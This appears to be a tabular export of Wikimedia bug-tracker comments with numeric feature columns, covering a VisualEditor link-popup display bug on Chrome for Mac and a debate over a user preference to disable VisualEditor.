1240023,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),I can't reproduce this. This interface has changed many times since 2013 and presumably this was fixed.,,,1552091050,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,296,,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.9,I can't reproduce this. This interface has changed many times since 2013 and presumably this was fixed.
244197,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:

Refreshing cache didn't help - I refreshed with VE open and again with the link dialog open. I noticed it didn't occur when adding a normal link in the body, only when adding a link in a reference.",,,1373340093,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,8.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,6.0,0.0,4.0,0.0,0.0,0.0,3.607843137254902,0.6666666666666666,"**adam.jenkins** wrote:

Refreshing cache didn't help - I refreshed with VE open and again with the link dialog open. I noticed it didn't occur when adding a normal link in the body, only when adding a link in a reference."
244191,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:

Screenshot, Chrome, Mac running OSX 10.8.4

Pop-up list sits above textbox, text box for group appears in pop-up list.

**Attached**: {F11506}",,,1373339872,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.217391304347826,0.6739130434782609,"**adam.jenkins** wrote:

Screenshot, Chrome, Mac running OSX 10.8.4

Pop-up list sits above textbox, text box for group appears in pop-up list.

**Attached**: {F11506}"
244183,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"(In reply to comment #3)
> When adding a new reference:
> 
> * I typed in ""this is a lunk"" (I mistyped link) 
> * Selected ""lunk"" and click on the link icon
> 
> This produces the pop-up list of suggested links, but it sits over the top of
> the text box, preventing the user from seeing what is typed.

OK, that's definitely broken behaviour - see the attachment I added just now for expected behaviour. Can you give a screenshot of what it looks like for you (is Maggie's link - http://en.wikipedia.org/wiki/File:VisualEditor_Reference_issue.jpg - accurate)? Does is still occur? In what skin? Do you have some gadgets installed, and does it occur if you disable them?

> As a secondary problem, (which is why I used ""lunk"" as an example above), if
> the pop-up list is long enough to extend over the ""Use this group"" textbox,
> the textbox appears as an item in the pop-up list. You can see it a bit in
> the attachment Maggie provided. If the pop-up list is longer, it is inserted
> between elements.

That won't happen if the link inspector's suggestion box appears in the correct mode.

> This does not occur in Chrome under Windows 7, as pop-up list appears below
> the text box, and doesn't have the issue with the ""Use this group"" textbox.

This looks horribly like a caching bug - what happens if you hard-refresh (in Chrome on Mac, Command-Shift-R on any page whilst in VisualEditor mode)?",,,1373338512,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,2.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,10.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.0,1.0,1.5,3.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,13.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,17.5,2.5,0.5,5.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,5.0,10.0,8.5,3.0,0.0,0.0,5.0,0.0,2.5,1.0,0.5,0.5,0.0,0.0,0.0,3.5316455696202533,0.6708860759493671,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, that's definitely broken behaviour - see the attachment I added just now for expected behaviour. Can you give a screenshot of what it looks like for you (is Maggie's link - URL - accurate)? Does is still occur? In what skin? Do you have some gadgets installed, and does it occur if you disable them?

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That won't happen if the link inspector's suggestion box appears in the correct mode.

QUOTE
QUOTE

This looks horribly like a caching bug - what happens if you hard-refresh (in Chrome on Mac, Command-Shift-R on any page whilst in VisualEditor mode)?"
244176,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"Created attachment 12795
Expected behaviour if adding a link in a DOM dialog like a reference

**Attached**: {F11505}",,,1373338199,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,19.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,3.7777777777777777,0.8148148148148148,"Created attachment 12795
Expected behaviour if adding a link in a DOM dialog like a reference

**Attached**: {F11505}"
244170,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:

I've been able to recreate the behaviour using Chrome on the iMac.",,,1373337830,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.590909090909091,0.8181818181818182,"**adam.jenkins** wrote:

I've been able to recreate the behaviour using Chrome on the iMac."
244167,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:

Hi! I'm currently running Chrome 26 on a MacBook Pro retina running 10.8.4, but I think I also had it on an iMac, but I'll confirm. When adding a new reference:

* I typed in ""this is a lunk"" (I mistyped link) 
* Selected ""lunk"" and click on the link icon

This produces the pop-up list of suggested links, but it sits over the top of the text box, preventing the user from seeing what is typed. A url can still be pasted in. If the user types a URL, the pop-up list will disappear, but reappear after any pause in typing, hiding the box again. (This reappearance would be desired behaviour normally).

As a secondary problem, (which is why I used ""lunk"" as an example above), if the pop-up list is long enough to extend over the ""Use this group"" textbox, the textbox appears as an item in the pop-up list. You can see it a bit in the attachment Maggie provided. If the pop-up list is longer, it is inserted between elements.

If a URL is entered the list reduces in size to two elements, the link in blue as an ""External link"", and the link in red as a ""New page"". However, the window still slightly overlaps the text box for entering the URL, and if accidently clicked when trying to select the textbox again, the link is changed to a wikilink and the options disappear. But there is no indication that this has occurred. This seems in part to be the ""new pages appear as blue links"" bug, so it might be fixed as part of that.

This does not occur in Chrome under Windows 7, as pop-up list appears below the text box, and doesn't have the issue with the ""Use this group"" textbox.",,,1373335844,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.25,0.0,0.0,1.75,0.5,2.0,1.0,0.0,0.0,1.25,4.75,0.75,0.0,0.25,0.25,1.75,0.25,4.25,13.25,0.0,0.75,0.0,0.0,0.0,1.25,0.0,0.0,0.5,0.75,0.75,0.25,6.0,0.75,1.25,1.0,0.25,1.0,0.25,0.5,0.5,0.25,0.0,0.5,1.25,0.0,0.5,0.25,0.0,0.0,14.75,1.5,0.75,0.25,0.0,0.0,0.0,0.0,0.25,1.0,0.5,0.25,1.0,0.0,0.75,0.0,0.0,0.0,10.25,3.25,8.75,2.5,2.5,13.5,0.0,0.0,0.25,0.0,4.5,0.25,1.0,0.0,3.25,13.25,3.0,0.0,4.0,0.0,3.25,0.0,1.25,3.5,0.0,2.25,0.25,0.0,0.0,3.416666666666667,0.65625,"**adam.jenkins** wrote:

Hi! I'm currently running Chrome 26 on a MacBook Pro retina running 10.8.4, but I think I also had it on an iMac, but I'll confirm. When adding a new reference:

* I typed in ""this is a lunk"" (I mistyped link) 
* Selected ""lunk"" and click on the link icon

This produces the pop-up list of suggested links, but it sits over the top of the text box, preventing the user from seeing what is typed. A url can still be pasted in. If the user types a URL, the pop-up list will disappear, but reappear after any pause in typing, hiding the box again. (This reappearance would be desired behaviour normally).

As a secondary problem, (which is why I used ""lunk"" as an example above), if the pop-up list is long enough to extend over the ""Use this group"" textbox, the textbox appears as an item in the pop-up list. You can see it a bit in the attachment Maggie provided. If the pop-up list is longer, it is inserted between elements.

If a URL is entered the list reduces in size to two elements, the link in blue as an ""External link"", and the link in red as a ""New page"". However, the window still slightly overlaps the text box for entering the URL, and if accidently clicked when trying to select the textbox again, the link is changed to a wikilink and the options disappear. But there is no indication that this has occurred. This seems in part to be the ""new pages appear as blue links"" bug, so it might be fixed as part of that.

This does not occur in Chrome under Windows 7, as pop-up list appears below the text box, and doesn't have the issue with the ""Use this group"" textbox."
244165,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"Maggie, I am not able to reproduce this behavior in Chrome or Firefox; the references dialog expands with a scrollbar if needed. Are you still getting this? If so could you provide more detailed steps to reproduce and browser info? Thanks!",,,1373332126,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,4.0,9.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,6.0,4.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.23404255319149,0.8936170212765957,"Maggie, I am not able to reproduce this behavior in Chrome or Firefox; the references dialog expands with a scrollbar if needed. Are you still getting this? If so could you provide more detailed steps to reproduce and browser info? Thanks!"
244162,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"I should add his words (User:Bilby):

""Short version - the pop-list of suggested wikilinks was malformed if it was long enough to cover the group name box, and prevents the user from seeing the text box when pasting a URL. When a URL is blindly pasted, it is easy to accidentally click on the wikilink option, but there is no indicator that this has occurred once the pop-up list disappears.""

See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563382661#Adding_references_with_links",,,1373295030,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,9.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,2.0,0.0,3.0,1.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,9.0,6.0,10.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.730337078651685,0.7415730337078652,"I should add his words (User:Bilby):

""Short version - the pop-list of suggested wikilinks was malformed if it was long enough to cover the group name box, and prevents the user from seeing the text box when pasting a URL. When a URL is blindly pasted, it is easy to accidentally click on the wikilink option, but there is no indicator that this has occurred once the pop-up list disappears.""

See URL"
52929,User preference to disable VisualEditor,"It's strange that I can't find a bug for this. Lots of user on en.wiki complained loudly about this [1], but nobody succeded to write a bug report for it? Well, here it is:

Please provide an option in user preferences to turn VE off. Some users just don't like it and don't want to have an extra tab which they don't use anyway. The gadget isn't perfect, as the tab might appear for short time before it is removed again, and has to updated when VE integration changes. The only reason I found for why there is no such option is this:

""It was planned, but the code turned out to be seriously buggy at the last minute. Getting it really, truly off (rather than just covered up) is more complicated than expected."" Whatamidoing (WMF) (talk) 06:32, 2 July 2013 (UTC)

Now with the minimized amount of code that is loaded at startup, it is acceptable to load the code, but just not to execute it. Adding

if ( !mw.user.options.get( 'visualeditor-enable' ) ) {
 return;
}

near to the end of modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js should be all that's really needed.

[1] https://en.wikipedia.org/wiki/Wikipedia:Vpt#.22Opt_out.22_of_VE_needed_under_preferences

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/Wikipedia:Vpt#.22Opt_out.22_of_VE_needed_under_preferences
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52086",Medium,50.0,1373276400,1374826648.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_description,resolved,True,c1,3,False,False,True,1,,0.6666666666666666,0.0,0.0,1.0,2.0,4.0,2.0,0.0,0.0,0.3333333333333333,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,8.333333333333334,10.333333333333334,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.666666666666667,1.6666666666666667,3.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,12.333333333333334,1.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.0,3.6666666666666665,9.333333333333334,1.3333333333333333,1.6666666666666667,6.333333333333333,0.0,0.0,0.3333333333333333,0.0,5.0,0.6666666666666666,1.6666666666666667,0.0,4.0,10.333333333333334,3.0,0.3333333333333333,1.3333333333333333,0.0,4.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,3.4377104377104377,0.6902356902356902,"It's strange that I can't find a bug for this. Lots of user on en.wiki complained loudly about this [1], but nobody succeded to write a bug report for it? Well, here it is:

Please provide an option in user preferences to turn VE off. Some users just don't like it and don't want to have an extra tab which they don't use anyway. The gadget isn't perfect, as the tab might appear for short time before it is removed again, and has to updated when VE integration changes. The only reason I found for why there is no such option is this:

""It was planned, but the code turned out to be seriously buggy at the last minute. Getting it really, truly off (rather than just covered up) is more complicated than expected."" Whatamidoing (WMF) (talk) 06:32, 2 July 2013 (UTC)

Now with the minimized amount of code that is loaded at startup, it is acceptable to load the code, but just not to execute it. Adding

if ( !mw.user.options.get( 'visualeditor-enable' ) ) {
 return;
}

near to the end of modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js should be all that's really needed.

[1] URL

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
243412,User preference to disable VisualEditor,"[This comment is about the generalisation in the VE extension of the deployed patch, I open the bug 52086 for this specific generalisation inside the VE product.]

I can see the logic behind the introduction of the new preference (use a negative preference instead of a positive to use it on wikis where the VE is the default editor), but for the sake of generality of the VE extension it would be better to name it as ""visualeditor-preference-disable: Disable VisualEditor"" (see bug 52086).

And the temporary messages related to the deployment-test in the Wikimedia environment could be overriden in the WikimediaMessages extension. E.g. 
  ""visualeditor-preference-enable: Enable VisualEditor (experimental, [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
  ""visualeditor-preference-disable: Disable VisualEditor [during the beta phase] (but [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
(I guess in this case the WikimediaMessages section in InitialiseSettings.php should be move below the VisualEditor section)",,,1374837483,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,8.666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,1.0,1.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,14.333333333333334,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.6666666666666667,7.666666666666667,0.3333333333333333,1.0,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,2.6666666666666665,8.666666666666666,4.666666666666667,0.0,2.3333333333333335,0.0,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,2.6666666666666665,4.328377673448096,0.6306077203964527,"[This comment is about the generalisation in the VE extension of the deployed patch, I open the bug 52086 for this specific generalisation inside the VE product.]

I can see the logic behind the introduction of the new preference (use a negative preference instead of a positive to use it on wikis where the VE is the default editor), but for the sake of generality of the VE extension it would be better to name it as ""visualeditor-preference-disable: Disable VisualEditor"" (see bug 52086).

And the temporary messages related to the deployment-test in the Wikimedia environment could be overriden in the WikimediaMessages extension. E.g. 
  ""visualeditor-preference-enable: Enable VisualEditor (experimental, [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
  ""visualeditor-preference-disable: Disable VisualEditor [during the beta phase] (but [[{{int:visualeditor-feedback-link}}|please help in reporting bugs]])""
(I guess in this case the WikimediaMessages section in InitialiseSettings.php should be move below the VisualEditor section)"
243408,User preference to disable VisualEditor,"I agree with hashar as well. And who knows, maybe hopefully by the time VE is out of beta this preference will not be really necessary (per comment 25). I'm pretty sure we're got at least a few months before we'll have to worry about that.",,,1374835048,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,13.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,16.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.5272727272727273,0.9272727272727272,"I agree with hashar as well. And who knows, maybe hopefully by the time VE is out of beta this preference will not be really necessary (per comment 25). I'm pretty sure we're got at least a few months before we'll have to worry about that."
243403,User preference to disable VisualEditor,So you will reopen this bug as soon as VE gets stable? Promised?,,,1374833237,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,So you will reopen this bug as soon as VE gets stable? Promised?
243399,User preference to disable VisualEditor,"For what it's worth, I agree with hashar. The bug as filed is resolved: there's now a user preference in the appropriate tab (""Editing"") that fully disables VisualEditor.

I think we should deal with the future in the future. :-)",,,1374832672,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,4.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.673076923076923,0.8076923076923077,"For what it's worth, I agree with hashar. The bug as filed is resolved: there's now a user preference in the appropriate tab (""Editing"") that fully disables VisualEditor.

I think we should deal with the future in the future. :-)"
243396,User preference to disable VisualEditor,"Sorry, your perception of this bug is pretty messed up.

Thhis bug is about ""disabling VE"", *not* about ""disabling VE during beta period"".

The patch clearly doesn't solve this problem.",,,1374832506,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,14.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.590909090909091,0.6818181818181818,"Sorry, your perception of this bug is pretty messed up.

Thhis bug is about ""disabling VE"", *not* about ""disabling VE during beta period"".

The patch clearly doesn't solve this problem."
243393,User preference to disable VisualEditor,"This bug is about having a user preference to disable VisualEditor which is exactly what has been implemented by https://gerrit.wikimedia.org/r/#/c/75541/ . It is the proper way to handle this, not $wgHiddenPrefs :-D

The fact that the preference might be gone after VE is out of beta is a different problem.  For now the request has been fulfilled as far as I understand it.  Just check the ""Temporarily disable VisualEditor while it is in beta"" in the user preference and VE is gone.",,,1374831425,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,4.0,1.0,3.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,14.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,11.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,17.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,11.0,13.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,14.0,3.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.989130434782609,0.6739130434782609,"This bug is about having a user preference to disable VisualEditor which is exactly what has been implemented by URL . It is the proper way to handle this, not $wgHiddenPrefs :-D

The fact that the preference might be gone after VE is out of beta is a different problem.  For now the request has been fulfilled as far as I understand it.  Just check the ""Temporarily disable VisualEditor while it is in beta"" in the user preference and VE is gone."
243389,User preference to disable VisualEditor,"Sorry, but this is clearly *not* fixed!

* The eye-wash preference in VE is nonsense and will be gone quickly when VE comes out of beta.
* The core of the problem - disabling VE when one surely will never use it - will not be solved by this hack.
* The failure by WMF (deploying a buggy beta software to everybody by default) is poorly concealed by this change but not solved either.

In fact you're even working against your own goals with this change: In the beta phase where feedback by editors is needed most you're now offering a preference to disable VE. When VE becomes stable and feedback is not that necessary anymore the preference will be gone, and the same discussion you're trying to mute with this change will start again.

Please reopen this bug, accept https://gerrit.wikimedia.org/r/73565, so we have a real fix in place!",,,1374830485,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,2.5,2.0,4.5,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,10.0,10.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,6.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,15.0,0.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.5,0.0,0.0,1.0,0.0,0.0,5.5,4.0,8.0,2.5,2.5,8.5,0.0,0.0,1.0,0.0,4.5,1.0,0.5,0.0,3.5,10.0,3.0,0.0,0.0,0.0,3.5,0.0,2.0,1.5,0.0,2.5,0.0,0.5,0.0,3.8243861024033436,0.6973615464994776,"Sorry, but this is clearly *not* fixed!

* The eye-wash preference in VE is nonsense and will be gone quickly when VE comes out of beta.
